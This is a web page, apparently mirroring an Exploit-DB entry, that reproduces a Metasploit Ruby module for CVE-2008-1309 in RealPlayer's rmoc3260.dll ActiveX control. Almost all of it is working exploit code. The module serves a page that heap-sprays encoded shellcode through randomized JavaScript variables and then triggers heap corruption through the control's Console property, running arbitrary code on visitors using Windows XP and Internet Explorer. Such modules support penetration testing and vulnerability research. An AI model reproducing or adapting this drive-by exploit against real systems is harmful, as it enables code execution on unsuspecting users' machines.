RealPlayer – ‘rmoc3260.dll’ ActiveX Control Heap Corruption (Metasploit)

  • 作者: Metasploit
    日期: 2010-06-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16584/
  • ##
    # $Id: realplayer_console.rb 9525 2010-06-15 07:18:08Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
    			'Description'=> %q{
    					This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.
    				By sending a specially crafted string to the 'Console' property
    				in the rmoc3260.dll control, an attacker may be able to execute
    				arbitrary code.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
    			'Version'=> '$Revision: 9525 $',
    			'References' =>
    				[
    					[ 'CVE', '2008-1309' ],
    					[ 'OSVDB', '42946' ],
    					[ 'BID', '28157' ],
    					[ 'URL', 'http://secunia.com/advisories/29315/' ],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'BadChars'=> "\x00\x09\x0a\x0d'\\",
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
    				],
    			'DisclosureDate' => 'Mar 8 2008',
    			'DefaultTarget'=> 0))
    	end
    
    	def autofilter
    		false
    	end
    
    	def check_dependencies
    		use_zlib
    	end
    
    	def on_request_uri(cli, request)
    		# Re-generate the payload
    		return if ((p = regenerate_payload(cli)) == nil)
    
    		# Encode the shellcode
    		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    
    		# Setup exploit buffers
    		nops 	= Rex::Text.to_unescape([target.ret].pack('V'))
    		ret	= Rex::Text.uri_encode([target.ret].pack('L'))
    		blocksize = 0x40000
    		fillto= 400
    		offset 	= target['Offset']
    
    		# Randomize the javascript variable names
    		racontrol= rand_text_alpha(rand(100) + 1)
    		j_shellcode= rand_text_alpha(rand(100) + 1)
    		j_nops = rand_text_alpha(rand(100) + 1)
    		j_headersize = rand_text_alpha(rand(100) + 1)
    		j_slackspace = rand_text_alpha(rand(100) + 1)
    		j_fillblock= rand_text_alpha(rand(100) + 1)
    		j_block= rand_text_alpha(rand(100) + 1)
    		j_memory = rand_text_alpha(rand(100) + 1)
    		j_counter= rand_text_alpha(rand(30) + 2)
    		j_ret= rand_text_alpha(rand(100) + 1)
    
    		# Build out the message
    		content = %Q|<html>
    <object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
    <script language='javascript'>
    #{j_shellcode} = unescape('#{shellcode}');
    #{j_nops} = unescape('#{nops}');
    #{j_headersize} = 20;
    #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
    while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
    #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
    #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
    while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
    #{j_memory} = new Array();
    for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
    #{j_ret} = unescape('#{ret}');
    while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
    
    #{racontrol}.Console = #{j_ret};
    #{racontrol}.Console = '';
    #{racontrol}.Console = #{j_ret};
    </script>
    </html>
    |
    
    		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
    
    		# Transmit the response to the client
    		send_response_html(cli, content)
    
    		# Handle the payload
    		handler(cli)
    	end
    
    end